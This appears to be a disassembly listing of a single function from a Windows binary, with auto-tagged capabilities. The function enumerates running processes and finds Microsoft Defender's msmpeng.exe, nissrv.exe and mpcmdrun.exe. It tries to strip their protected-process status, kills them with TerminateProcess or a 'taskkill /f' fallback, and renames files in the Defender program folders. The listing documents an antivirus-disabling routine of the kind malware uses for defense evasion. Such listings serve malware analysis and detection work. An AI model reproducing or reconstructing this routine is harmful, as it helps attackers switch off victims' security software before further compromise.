Function at 0x140004670
Capabilities:
Enumerate processes
Get common file path
Get program files directory
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x470]
sub rsp, 0x570
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x460], rax
cmp dword [0x140029d7c], 0xa
jb 0x140004963
xor edx, edx
mov qword [rsp + 0x588], rdi
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140004877
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000486e
mov qword [rsp + 0x580], rbx
nop word [rax + rax]
xor edx, edx
lea rcx, [rbp + 0x170]
mov r8d, 0x104
call fcn.140006980
mov r8d, 0x104
lea rdx, [rsp + 0x5c]
lea rcx, [rbp + 0x170]
call fcn.14000c940
lea rdx, str.msmpeng.exe
lea rcx, [rbp + 0x170]
call fcn.14000c1d0
test eax, eax
je 0x140004764
lea rdx, str.nissrv.exe
lea rcx, [rbp + 0x170]
call fcn.14000c1d0
test eax, eax
je 0x140004764
lea rdx, str.mpcmdrun.exe
lea rcx, [rbp + 0x170]
call fcn.14000c1d0
test eax, eax
jne 0x140004850
mov ecx, dword [rsp + 0x38]
call fcn.140004020
test eax, eax
jne 0x140004784
lea rdx, [rbp + 0x170]
lea rcx, str._ss_PPL_Remove_Faild._n
call fcn.140005730
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1001
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400047f5
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x1400047ce
lea rdx, [rbp + 0x170]
lea rcx, str._Success__Killed__s._n
call fcn.140005730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004850
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x170]
lea rcx, str.Failed_to_terminate__s__error__lu_n
call fcn.140005730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140004850
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rbp + 0x170]
lea rcx, str.Failed_to_open__s__error__lu__Try_to_use_taskkill__please_manually_check_whether_the_kill_is_successful__n
call fcn.140005730
xor edx, edx
lea rcx, [rbp + 0x390]
mov r8d, 0xc8
call fcn.140006980
lea r9, [rbp + 0x170]
mov edx, 0xc8
lea r8, str.taskkill__f__im__s
lea rcx, [rbp + 0x390]
call fcn.140005670
lea rcx, [rbp + 0x390]
call fcn.140004230
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400046f0
mov rbx, qword [rsp + 0x580]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea rax, [rbp + 0x280]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x23]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov rdi, qword [rsp + 0x588]
test eax, eax
js 0x1400048c5
lea r8, str.MicrosoftWindows_DefenderPlatform
mov edx, 0x104
lea rcx, [rbp + 0x280]
call fcn.14000cdf0
lea rcx, [rbp + 0x280]
call fcn.1400043c0
xor r9d, r9d
lea rax, [rbp + 0x280]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x2a]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x14000490b
lea r8, str.Windows_Defender
mov edx, 0x104
lea rcx, [rbp + 0x280]
call fcn.14000cdf0
lea rcx, [rbp + 0x280]
call fcn.1400043c0
xor r9d, r9d
lea rax, [rbp + 0x280]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x26]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x140004951
lea r8, str.Windows_Defender
mov edx, 0x104
lea rcx, [rbp + 0x280]
call fcn.14000cdf0
lea rcx, [rbp + 0x280]
call fcn.1400043c0
mov edx, dword [0x140029d68]
lea rcx, str._INFO__A_total_of___d_Defender_file__was_renamed__msmpeng.exe__nissrv.exe__and_mpcmdrun.exe_were_all_renamed._n
call fcn.140005730
mov rcx, qword [rbp + 0x460]
xor rcx, rsp
call fcn.1400057b0
add rsp, 0x570
pop rbp
ret